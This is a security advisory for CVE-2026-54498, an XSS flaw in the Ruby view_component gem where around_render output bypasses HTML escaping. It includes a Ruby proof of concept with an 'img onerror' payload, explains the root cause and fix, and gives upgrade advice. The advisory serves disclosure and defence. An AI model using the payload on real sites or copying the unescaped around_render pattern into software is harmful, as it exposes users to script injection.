high · 8.7CVE-2026-54498Jul 15, 2026

CVE-2026-54498: view_component around_render HTML-Safety Bypass XSS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in ViewComponent's around_render hook lets it return raw, unescaped HTML strings that bypass the safety checks applied to normal component output, allowing attacker-controlled data to reach the

Packageview_component
Ecosystemrubygems
Affected>= 4.0.0, < 4.12.0
Fixed in4.12.0

The problem

ViewComponent::Base#around_render skips the __vc_maybe_escape_html boundary that protects normal #call return values. Any string returned directly from around_render, even one built from user-controlled data, is emitted verbatim without escaping.

The risk compounds in collection rendering. ViewComponent::Collection#render_in joins each component's output and unconditionally calls .html_safe on the result, converting raw unsafe strings into a trusted ActiveSupport::SafeBuffer that later escaping stages will not touch.

Proof of concept

A working proof-of-concept for CVE-2026-54498 in view_component, with the exact payload below.

ruby
# Minimal PoC derived from the advisory's published proof-of-concept.
# around_render bypasses __vc_maybe_escape_html; #call output is escaped, around_render output is not.

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"          # this return value IS escaped
  def around_render = @payload # this return value is NOT escaped
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

# Single component: raw string, not html_safe
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
# => "<img src=x onerror=alert(1)>"  (around_render_raw=true, html_safe=false)

# Collection: raw string promoted to html_safe by .html_safe call on join
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
# => "<img src=x onerror=alert(1)>"  (collection_raw=true, html_safe=true)

# Control case confirms the gap: #call return value IS escaped
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
# => "&lt;img src=x onerror=alert(1)&gt;"  (normal_call_raw=false, html_safe=true)

The root cause is an asymmetric HTML-safety boundary. Normal inline #call output travels through __vc_maybe_escape_html, which checks html_safe? and escapes raw strings before they reach the response. The around_render return value is used directly as the component render result, bypassing that check entirely (CWE-79).

The patch applies the same escaping logic to around_render return values and replaces the raw .join(...).html_safe call in Collection#render_in with safe_join, which escapes each item individually before concatenation. This closes the laundering path where per-item unsafe output was promoted to a trusted SafeBuffer.

The fix

Upgrade view_component to 4.12.0 (commit 48e5fd2d602344c7d33019fbc5c8b087e315bb78). The fix escapes unsafe around_render return values through the same __vc_maybe_escape_html boundary used for #call, and replaces .join(...).html_safe in Collection#render_in with safe_join so no unsafe string can be silently promoted to a trusted buffer.

If upgrade is not immediately possible, audit every around_render override in your codebase and ensure any returned string is either hard-coded or explicitly marked html_safe only after verified sanitization.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research